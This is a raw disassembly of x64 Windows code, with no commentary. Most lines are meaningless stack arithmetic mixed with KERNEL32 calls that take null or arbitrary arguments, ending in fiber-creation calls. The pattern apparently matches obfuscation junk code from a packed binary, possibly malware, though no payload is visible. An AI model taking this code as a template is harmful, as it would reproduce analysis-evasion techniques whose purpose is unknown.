mov rax, qword [rsp + 0x9960]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x189]
add eax, ecx
mov rcx, qword [rsp + 0xa100]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f30]
movzx eax, word [rax]
mov word [rsp + 0x11e8], ax
mov rcx, qword [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4c08], eax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0xc308]
mov rcx, qword [rsp + 0xa0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ac0]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xaea4
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xa618]
mov ecx, dword [rsp + 0x4340]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov r9d, 0xe73
xor r8d, r8d
lea rdx, [rsp + 0xbe40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c0c], eax
mov rax, qword [rsp + 0xaa30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ef8]
mov qword [rcx], rax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0xc510], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0xbd]
mov qword [0x1401e79c0], rax
movzx eax, byte [rsp + 0x13e]
mov rcx, qword [rsp + 0xc478]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13d], al
movzx eax, word [rsp + 0x1160]
mov word [rsp + 0x11ec], ax
movsx eax, word [rsp + 0xc38]
movsx ecx, word [rsp + 0xed8]
and eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0xae20]
movzx eax, word [rax]
movzx ecx, word [0x1401e6078]
imul eax, ecx
mov word [rsp + 0xec4], ax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x45b0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb5e0]
mov qword [rsp + 0xc518], rax
mov eax, dword [rsp + 0x4420]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0xc170]
mov rax, qword [rax]
mov qword [rsp + 0xc520], rax
mov eax, dword [rsp + 0x4b84]
mov ecx, dword [rsp + 0x4ae8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4690], eax
lea rdx, [rsp + 0xa9e0]
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x481c], eax
movsx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401e7508]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [rsp + 0xd6]
or eax, ecx
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov word [rsp + 0x11f0], ax
movsx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0xb758]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa6f8], rax
lea rax, [rsp + 0xf50]
mov qword [rsp + 0xc528], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xbbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ac], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
mov rax, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0xbcb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0x9498]
mov ecx, dword [rsp + 0x4bc4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4b54], eax
lea rax, [rsp + 0x9980]
mov qword [rsp + 0xc530], rax
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0xbbb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc448], rax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [0x1401e74c2], al
lea rax, [0x1401e741a]
mov qword [rsp + 0xc538], rax
movsx eax, word [rsp + 0xdd4]
movsx ecx, word [rsp + 0x1058]
sub eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4d8]
movzx eax, byte [rax]
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
add eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov rax, qword [rsp + 0xb240]
mov rcx, qword [rsp + 0xa7b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a48], rax
mov rax, qword [rsp + 0xa848]
mov qword [rsp + 0xc540], rax
mov rax, qword [rsp + 0xb4d8]
mov eax, dword [rax]
mov ecx, dword [0x1401e6018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb7d0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xe88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11f4], ax
lea rax, [rsp + 0x488c]
mov qword [rsp + 0xc548], rax
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xde8]
add eax, ecx
mov word [0x1401e613c], ax
mov rcx, qword [rsp + 0x97c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4694], eax
movzx eax, byte [rsp + 0x114]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0x1044]
mov rcx, qword [rsp + 0xb320]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov word [rcx], ax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov byte [rsp + 0x195], al
movzx eax, word [0x1401e6130]
movzx ecx, word [rsp + 0xe1c]
imul eax, ecx
mov word [rsp + 0xf10], ax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x475c], eax
lea rax, [rsp + 0x4950]
mov qword [rsp + 0xc550], rax
mov eax, dword [rsp + 0x47bc]
cdq
mov rcx, qword [rsp + 0x91a8]
idiv dword [rcx]
mov dword [rsp + 0x4760], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0xa6a8]
movzx ecx, al
mov rax, qword [0x1401e7420]
shl rax, cl
mov rcx, qword [rsp + 0x9a18]
mov qword [rcx], rax
lea rax, [rsp + 0x9df0]
mov qword [rsp + 0xc560], rax
movsx eax, byte [rsp + 0xa2]
movsx ecx, byte [0x1401e7497]
or eax, ecx
mov rcx, qword [0x1401e7718]
mov byte [rcx], al
mov rax, qword [rsp + 0xa108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
sar eax, cl
mov byte [rsp + 0xb8], al
lea rax, [rsp + 0x10c4]
mov qword [rsp + 0xc568], rax
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [0x1401e77c0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc528]
mov word [rcx], ax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0xbe30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x43c8], eax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x8d], al
movzx ecx, word [rsp + 0x118c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11f8], ax
lea rcx, [rsp + 0x2a1c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4ba4], eax
mov rax, qword [rsp + 0x9420]
mov eax, dword [rax]
mov dword [rsp + 0x4c10], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xae10]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa9c0], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4c14], eax
mov eax, dword [rsp + 0x4688]
mov dword [rsp + 0x4c18], eax
movzx ecx, word [rsp + 0xef0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0xb030]
mov rcx, qword [rsp + 0xbbc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc3b0], rax
mov rcx, qword [rsp + 0xba98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1138]
mov word [0x1401e79c8], ax
movzx eax, word [rsp + 0x10ac]
mov word [rsp + 0x11fc], ax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa610]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf74]
movzx ecx, word [str.__f_n_]
add eax, ecx
mov word [rsp + 0xee4], ax
lea rax, [rsp + 0x1098]
mov qword [rsp + 0xc570], rax
mov rax, qword [rsp + 0x9780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4820]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0xbd00]
mov rax, qword [rax]
mov qword [rsp + 0xc578], rax
mov rax, qword [rsp + 0xba50]
mov rcx, qword [rsp + 0xc008]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa070]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0x8e48]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c1c], eax
mov rax, qword [rsp + 0xc298]
mov rcx, qword [rsp + 0xa758]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9150]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe8c], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7480]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6007], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xbe0]
mov word [rsp + 0x1200], ax
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0xc230]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xadc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xaf20]
movzx eax, byte [rax]
mov byte [rsp + 0x196], al
mov rcx, qword [rsp + 0xb1e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x37c3
mov r9d, 0x3bd3
mov r8d, 0x3da4
mov edx, 0x35c5
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
mov rax, qword [rsp + 0xa7b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xa680]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x90e0], rax
mov rax, qword [rsp + 0xc1c8]
mov eax, dword [rax]
mov dword [rsp + 0x4c24], eax
mov rax, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0xbab8]
mov qword [rsp + 0xc580], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc580]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc258], rax
lea rax, [rsp + 0x4b34]
mov qword [rsp + 0xc588], rax
mov rax, qword [rsp + 0xaa08]
movsx eax, word [rax]
mov rcx, qword [0x1401e7510]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e6140], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc590], rax
mov rax, qword [rsp + 0xc538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xb9], al
lea rax, [rsp + 0xd50]
mov qword [rsp + 0xc598], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4654], eax
mov rax, qword [rsp + 0xa658]
movsx eax, word [rax]
mov rcx, qword [0x1401e77d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0xda]
sub eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xec27
mov rcx, qword [rsp + 0x97c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c28], eax
lea rax, [rsp + 0xbc00]
mov qword [rsp + 0xc5a0], rax
mov rcx, qword [rsp + 0xc240]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x46d4], eax
mov r9d, 0x5b
xor r8d, r8d
lea rdx, [rsp + 0xaa50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4924], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4b18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb888]
mov dword [rcx], eax
lea rax, [rsp + 0x4b58]
mov qword [rsp + 0xc5a8], rax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb978]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95f8], rax
mov dword [rsp + 0x2a9e0], 0x94
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0x98f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1090]
add eax, ecx
mov rcx, qword [0x1401e75e8]
mov word [rcx], ax
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0xc5b0], rax
lea rdx, [rsp + 0x283b0]
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4514], eax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x13b]
sub eax, ecx
mov rcx, qword [rsp + 0xb380]
mov byte [rcx], al
lea rax, [rsp + 0xd10]
mov qword [rsp + 0xc5b8], rax
mov eax, dword [rsp + 0x495c]
mov ecx, dword [rsp + 0x43b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6f8]
mov rcx, qword [0x1401e6020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
lea rax, [rsp + 0x45dc]
mov qword [rsp + 0xc5c0], rax
mov r9d, 0x1eb9
xor r8d, r8d
lea rdx, [rsp + 0xadd0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c2c], eax
mov rax, qword [rsp + 0xc360]
mov rcx, qword [rsp + 0xc158]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c48], rax
movzx eax, word [rsp + 0xc74]
mov word [rsp + 0x1204], ax
movsx eax, byte [rsp + 0x148]
movsx ecx, byte [rsp + 0x6d]
sar eax, cl
mov byte [0x1401e60a3], al
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0xa0e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1114], ax
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0x81]
xor eax, ecx
mov byte [rsp + 0x174], al
lea rax, [rsp + 0x131]
mov qword [rsp + 0xc5c8], rax
lea rcx, [rsp + 0xb7f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9568]
mov rcx, qword [rsp + 0xac80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xad88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb618]
mov rax, qword [rax]
mov qword [rsp + 0xc5d0], rax
mov rax, qword [rsp + 0xa680]
mov rcx, qword [rsp + 0x9ab8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
lea rax, [rsp + 0x44fc]
mov qword [rsp + 0xc5d8], rax
mov rax, qword [0x1401e76c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0xc388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa880]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6144], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0xbf38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb3e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc568]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x92a8]
mov qword [rsp + 0xc5e0], rax
mov rax, qword [rsp + 0xa9b0]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9bf0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9898]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0x9a80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9530]
mov qword [rcx], rax
lea rax, [rsp + 0x484c]
mov qword [rsp + 0xc5f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
movzx eax, byte [rsp + 0x6c]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa100]
mov byte [rcx], al
mov rax, qword [rsp + 0xc490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x190]
add eax, ecx
mov rcx, qword [0x1401e7648]
mov byte [rcx], al
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xc5f8], rax
movsx eax, byte [rsp + 0x155]
movsx ecx, byte [rsp + 0x56]
sar eax, cl
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbc0]
xor eax, ecx
mov word [rsp + 0xbf4], ax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bf4], eax
lea rax, [0x1401e74c7]
mov qword [rsp + 0xc600], rax
mov eax, dword [rsp + 0x49a0]
movzx ecx, al
mov eax, dword [rsp + 0x4bd4]
shl eax, cl
mov rcx, qword [rsp + 0xac88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb360]
mov rax, qword [rax]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xb9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x459c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc028]
mov qword [rsp + 0xc610], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe90], rax
mov rax, qword [rsp + 0xc510]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xada0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e6038], ax
movsx eax, word [rsp + 0x10ac]
mov rcx, qword [rsp + 0xb368]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbca8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x169]
sub eax, ecx
mov byte [rsp + 0x11e], al
movzx eax, word [rsp + 0xf3c]
mov word [rsp + 0x1208], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc618], rax
movsx eax, word [rsp + 0x104c]
movsx ecx, word [rsp + 0x116c]
sub eax, ecx
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
mov dword [rsp + 0x4c30], eax
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x43a0], eax
lea rcx, [rsp + 0x25610]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x9ba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c48], rax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c34], eax
mov rax, qword [rsp + 0xb128]
mov rcx, qword [rsp + 0xc4e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc5e0], rax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0xc620], rax
mov rax, qword [rsp + 0x96d0]
movzx eax, byte [rax]
mov byte [0x1401e74e4], al
movzx eax, byte [rsp + 0x17f]
movzx ecx, byte [0x1401e6043]
and eax, ecx
mov rcx, qword [rsp + 0xb3c8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rax, [rsp + 0xd40]
mov qword [rsp + 0xc628], rax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49d8], eax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4310], eax
movsx eax, word [rsp + 0xf5c]
mov rcx, qword [rsp + 0xbf38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1034], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0xc2]
add eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov byte [rcx], al
lea rcx, [rsp + 0x26b48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc2d0]
mov rax, qword [rax]
mov qword [rsp + 0xc630], rax
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [rsp + 0x20], 0x202
mov r9d, 0x1f84
mov r8d, 0x3d4
mov edx, 0x29dc
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x477c], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4c38], eax
mov rax, qword [rsp + 0xaec8]
mov rcx, qword [rsp + 0xc380]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb290], rax
mov eax, dword [rsp + 0x4734]
mov dword [rsp + 0x4c3c], eax
mov rax, qword [rsp + 0x9fb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xc638], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc638]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbb70]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfe4]
movzx ecx, word [rsp + 0x1148]
or eax, ecx
mov word [0x1401e6148], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc590], rax
mov rax, qword [0x1401e74d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
xor eax, ecx
mov rcx, qword [rsp + 0xa1c8]
mov byte [rcx], al
lea rax, [rsp + 0xc1]
mov qword [rsp + 0xc640], rax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x162]
shl eax, cl
mov byte [rsp + 0x14e], al
lea rax, [0x1401e6044]
mov qword [rsp + 0xc648], rax
mov rax, qword [rsp + 0xa748]
mov ecx, dword [rsp + 0x4794]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb6b0]
mov dword [rcx], eax
lea rax, [rsp + 0x9e48]
mov qword [rsp + 0xc650], rax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0x9088]
mov eax, dword [rax]
imul eax, dword [rsp + 0x45a4]
mov rcx, qword [rsp + 0xc1d8]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x96e0]
mov rdx, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0xa350]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c40], eax
mov rax, qword [rsp + 0xc170]
mov rcx, qword [rsp + 0xbc70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbc40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb028]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc8c]
add eax, ecx
mov word [0x1401e7840], ax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov byte [rsp + 0x198], al
movsx eax, word [rsp + 0xb64]
mov rcx, qword [rsp + 0x9da0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf94], ax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0xc658], rax
movsx eax, word [0x1401e6074]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov rcx, qword [rsp + 0x9430]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xbe00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b0], eax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov dword [rsp + 0x4c44], eax
xor r9d, r9d
lea r8, [rsp + 0xb708]
mov rdx, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xb400]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c48], eax
mov r9d, 0x1c8f
xor r8d, r8d
lea rdx, [rsp + 0x9058]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x44e0], eax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0x8ff8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c10]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov qword [rsp + 0x30], 0
